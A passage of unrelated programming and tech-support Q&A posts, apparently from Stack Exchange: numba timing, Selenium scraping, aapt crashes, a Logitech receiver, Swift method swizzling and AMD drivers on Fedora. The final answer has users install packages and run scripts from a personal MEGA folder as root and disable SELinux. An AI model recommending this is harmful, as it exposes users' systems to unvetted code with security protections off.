     print("My program took {:.15f} seconds to run".format(time.time() - a))

When using np.mean(), I get average time around 6ms. When I remove it and use numba, the first iteration takes 100ms, but the subsequent take 0.000000000s. I want to know the exact speed of the code when using numba, because I am certain it doesn't take 0s to execute the code.

A: time.time() - a is 0ms in your case maybe because there is no return value at the end of your function.
Try adding return averages at the end of the function in order to return a calculated value.


text:
Q: python - web scraping an ajax website using BeautifulSoup I am trying to scrape e-commerce site that uses ajax call to load its next pages.
I am able to scrape data present on page 1 but page 2 loads automatically through ajax call when I scroll page 1 to bottom.
My code :
from bs4 import BeautifulSoup as soup
from urllib.request import urlopen as ureq
my_url='http://www.shopclues.com/mobiles-smartphones.html'
page=ureq(my_url).read()
page_soup=soup(page,"html.parser")
containers=page_soup.findAll("div",{"class":"column col3"})
for container in containers:
   name=container.h3.text
   price=container.find("span",{'class':'p_price'}).text
   print("Name : "+name.replace(","," "))
   print("Price : "+price)
for i in range(2,7):
    my_url="http://www.shopclues.com/ajaxCall/moreProducts?catId=1431&filters=&pageType=c&brandName=&start="+str(36*(i-1))+"&columns=4&fl_cal=1&page="+str(i)
    page=ureq(my_url).read()
    print(page)
    page_soup=soup(page,"html.parser")
    containers=page_soup.findAll("div",{"class":"column col3"})
    for container in containers:
        name=container.h3.text
        price=container.find("span",{'class':'p_price'}).text
        print("Name : "+name.replace(","," "))
        print("Price : "+price)

I have printed the ajax page read by ureq to know whether I am able to open the ajax page and I got an output as:

b' ' are the outputs of:
    print(page)
please provide me a solution to scrape the remaining data.

A: from selenium import webdriver
from selenium.webdriver.common.desired_capabilities import DesiredCapabilities
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from bs4 import BeautifulSoup as soup
from urllib2 import urlopen as ureq
import random
import time

chrome_options = webdriver.ChromeOptions()
prefs = {"profile.default_content_setting_values.notifications": 2}
chrome_options.add_experimental_option("prefs", prefs)

# A randomizer for the delay
seconds = 5 + (random.random() * 5)
# create a new Chrome session
driver = webdriver.Chrome(chrome_options=chrome_options)
driver.implicitly_wait(30)
# driver.maximize_window()

# navigate to the application home page
driver.get("http://www.shopclues.com/mobiles-smartphones.html")
time.sleep(seconds)
time.sleep(seconds)
# Add more to range for more phones
for i in range(1):
    element = driver.find_element_by_id("moreProduct")
    driver.execute_script("arguments[0].click();", element)
    time.sleep(seconds)
    time.sleep(seconds)
html = driver.page_source
page_soup = soup(html, "html.parser")
containers = page_soup.findAll("div", {"class": "column col3"})
for container in containers:
# Add error handling
    try:
        name = container.h3.text
        price = container.find("span", {'class': 'p_price'}).text
        print("Name : " + name.replace(",", " "))
        print("Price : " + price)
    except AttributeError:
        continue
driver.quit()

I used selenium to load the website and click the button to load more results. Then take the resulting html and put in your code.


text:
Q: Segmentation fault with aapt Trying to build and Android project using Maven, we are not able to compile it with google play services apklib with it.
I've tried to remove all the languages from the apklib, just keeping the default one, and it seems to be able to execute aapt with no problems.
Does anybody run into this problem? I've tried to do what Jake Wharton says in this website: https://github.com/JakeWharton/gms-mvn-install , but the Segmentation fault still happening.
Ideas?
Thank you for your time.
aapt: warning: string 'error_generic_text_toast' has no default translation in /Users/fjfernandez/Development/android-messenger/app/target/unpack/apklibs/com.google.android.gms_google-play-services_apklib_5/res; found: ca_ES cs de en eu_ES fr gl_ES it nl pt pt_PT sk
Segmentation fault: 11

A: The problem we had in code was in style. You cannot use @+id to make reference to any view ( I guess you should not reference any kind of view in your styles, but anyway).
No @+id in your styles.

A: Maybe you already solved this problem, but I find out if I don't define in Manifest package like "package=some.app.package" it gave me the same error like you had.

A: I had a menu file with unresolved @string reference. I copied the aapt command from the Eclipse Console tab and ran it in a standalone terminal window. I figured out the offending file from the aapt log.
(new resource id main from /home/paller/workspaces/android_dev/xxxxxx/res/menu/main.xml)

Segmentation fault (core dumped)
It does not look nice that aapt just crashes if it does not like something in its input files.

A: I just found out that when strings.xml contains %blabla%, aapt segfaults. I have created an issue here: https://code.google.com/p/android/issues/detail?id=68667


text:
Q: Mouse receiver stopped working after pairing mouse to an unifying receiver I bought this mouse, logitech m510, which came with a nano receiver (no-unifying).
Yes I know, the mouse is supposed to come with a unifying receiver but I bought it knowing that it won't come on it's original package and it will come with a no-unifying receiver.
When I received it, everything worked ok but, after connecting the mouse to another computer using an unifying receiver (that also worked ok, btw), then, when I tried to connect back the mouse to my computer using the no-unifying receiver, I couldn't connect it.
I tried everything from removing the batteries and reinstalling the drivers to restarting the computer and trying in different computers, but I couldn't connect them.
What I think it happened, is that in fact if you check the documentation of the logitech m510 it says that it works with unifying receivers only, and even more, there is the following article explaining it: http://logitech-en-amr.custhelp.com/app/answers/detail/a_id/18001/~/using-my-m510-with-a-different-usb-receiver
So my theory is that the problem was connecting it to a unifying receiver, and now, isn't recognize by another receiver.
The receiver (the no-unifying one) itself is recognized by windows, and if I connect the mouse using a unifying receiver, it works.
I would like to know if there is any know solution for this or if I can try something else to see if I can solve this.

A: At the end, after asking the seller for a solution to my problem, he sent me the following link:
http://support.logitech.com/software/logitech-connection-utility-software
It's the software Logitech Connection Utility, copy pasted from the link I put above: "It can be used to reconnect supported keyboards or mice with a replacement receiver or when the connection is lost."
It solved instantly the problem I described in my question.

A: I had the same problem. Receiver did not work at old comp after using it on another With Logitech software installed and unifying. My mouse was an MX (unifying receiver) . I had to install the Logitech (unifying) software. The mouse still wasnt recognized. I had to ununifye it on the comp i had used it on once when my MX was on, then my old comp could recognize it. Problem solved...


text:
Q: Swizzling UIImage init not working iOS Swift I am trying to swizzle UIImage.init(named:) but the init is not being called
extension UIImage {

    @objc public convenience init?(swizzledName: String) {
        self.init(named: swizzledName)

        /// Do something
        print("this is working")
    }

    static func swizzle() {
        guard let instance = class_getClassMethod(self, #selector(UIImage.init(named:))),
            let swizzledInstance = class_getClassMethod(self, #selector(UIImage.init(swizzledName:))) else { return }

        method_exchangeImplementations(instance, swizzledInstance)
    }
}

Usage
UIImage.swizzle()
let image = UIImage(named: "avatar")

 not working

A: I too was having trouble swizzling these init methods for UIImage. The only way I found was to instead use class methods, which seem to work fine (I first tried with static methods, but that didn't work, so then I tried class methods, which did work):
func swizzle(originalClass: AnyClass,
             originalSelector: Selector,
             isOriginalSelectorClassMethod: Bool,
             swizzledClass: AnyClass,
             swizzledSelector: Selector,
             isSwizzledSelectorClassMethod: Bool) {
    guard let originalMethod = isOriginalSelectorClassMethod ?
        class_getClassMethod(originalClass, originalSelector) :
        class_getInstanceMethod(originalClass, originalSelector) else {
            return
    }

    guard let swizzledMethod = isSwizzledSelectorClassMethod ?
        class_getClassMethod(swizzledClass, swizzledSelector) :
        class_getInstanceMethod(swizzledClass, swizzledSelector) else {
            return
    }

    let didAddMethod = class_addMethod(isOriginalSelectorClassMethod ? object_getClass(originalClass)! : originalClass,
                                       originalSelector,
                                       method_getImplementation(swizzledMethod),
                                       method_getTypeEncoding(swizzledMethod))

    if didAddMethod {
        class_replaceMethod(isSwizzledSelectorClassMethod ? object_getClass(swizzledClass)! : swizzledClass,
                            swizzledSelector,
                            method_getImplementation(originalMethod),
                            method_getTypeEncoding(originalMethod))
    } else {
        method_exchangeImplementations(originalMethod, swizzledMethod)
    }
}

extension UIImage {
    static func swizzleInitializersIfNeeded() {
        guard !areInitializersSwizzled else {
            return
        }

        areInitializersSwizzled = true

        swizzle(originalClass: self,
                originalSelector: #selector(UIImage.init(named:)),
                isOriginalSelectorClassMethod: true,
                swizzledClass: self,
                swizzledSelector: #selector(UIImage.image(named:)),
                isSwizzledSelectorClassMethod: true)

        swizzle(originalClass: self,
                originalSelector: #selector(UIImage.init(named:in:with:)),
                isOriginalSelectorClassMethod: true,
                swizzledClass: self,
                swizzledSelector: #selector(UIImage.image(named:in:with:)),
                isSwizzledSelectorClassMethod: true)
    }

    private static var areInitializersSwizzled = false

    @objc fileprivate class func image(named name: String) -> UIImage? {
        let image = self.image(named: name)
        image?.name = name

        return image
    }

    @objc fileprivate class func image(named name: String,
                                       in bundle: Bundle,
                                       with config: UIImage.Configuration) -> UIImage? {
        let image = self.image(named: name, in: bundle, with: config)
        image?.name = name
        image?.bundle = bundle

        return image
    }

    private static var nameKey = 0
    private static var bundleKey = 0

    private(set) var name: String? {
        get { objc_getAssociatedObject(self, &UIImage.nameKey) as? String }
        set { objc_setAssociatedObject(self, &UIImage.nameKey, newValue, .OBJC_ASSOCIATION_RETAIN_NONATOMIC) }
    }

    private(set) var bundle: Bundle? {
        get { objc_getAssociatedObject(self, &UIImage.bundleKey) as? Bundle }
        set { objc_setAssociatedObject(self, &UIImage.bundleKey, newValue, .OBJC_ASSOCIATION_RETAIN_NONATOMIC) }
    }
}

class ViewController: UIViewController {
    override func viewDidLoad() {
        super.viewDidLoad()

        UIImage.swizzleInitializersIfNeeded()

        let image = UIImage(named: "test_image")

        print(image?.name as Any) // prints Optional("test_image")
    }
}


text:
Q: How to install AMD Catalyst on Fedora 22 with GNOME? today I installed AMD Catalyst on Fedora 22. After rebooting my computer, my screen was black.
I have read several guidebooks, but I have not found a way to run "Catalyst" on GNOME on laptops.
If someone has managed to run GNOME on Fedora 22 and has a laptop, let me know please.

A: Today I found the way to run fglrx on Fedora 22 GNOME laptops. I relied on guides I had done, but I had not succeeded before, in a formal way which today I bring to you.
I want to clarify that this guide is intended for users of Fedora 22 GNOME that use laptops.
If you want to know how to install fglrx on Fedora 22, you can follow these guidelines:

*

*How to install AMD Catalyst 15.3 (fglrx 15.20.1013) on Fedora
22?

*Installing the Proprietary AMD Catalyst 15.9 (fglrx 15.201) driver
on Fedora 22 with Linux Kernel 4.1.6
Then I place a link to a folder of MEGA that contains several mutter packages (You can ignore the package mutter-devel-3.16.4-1.fc22.x86_64.rpm):

*

*mutter packages
Note: I clarify that for the moment I've only packaging mutter for amd64 architecture.
All you have to do is download and install the packages:
sudo dnf install *.rpm

Extra:
In the first guide presented above, it says it is necessary to install LightDM, you can skip this step and download the two scripts that are in the folder of MEGA, and run with superuser privileges.
su
sh catalyst-fix-gdm.sh
sh catalyst-fix-gnome-session.sh

Warning:
It is important to disable SELinux for all the above take effect. For this I leave this link:

*

*How to Disable SELinux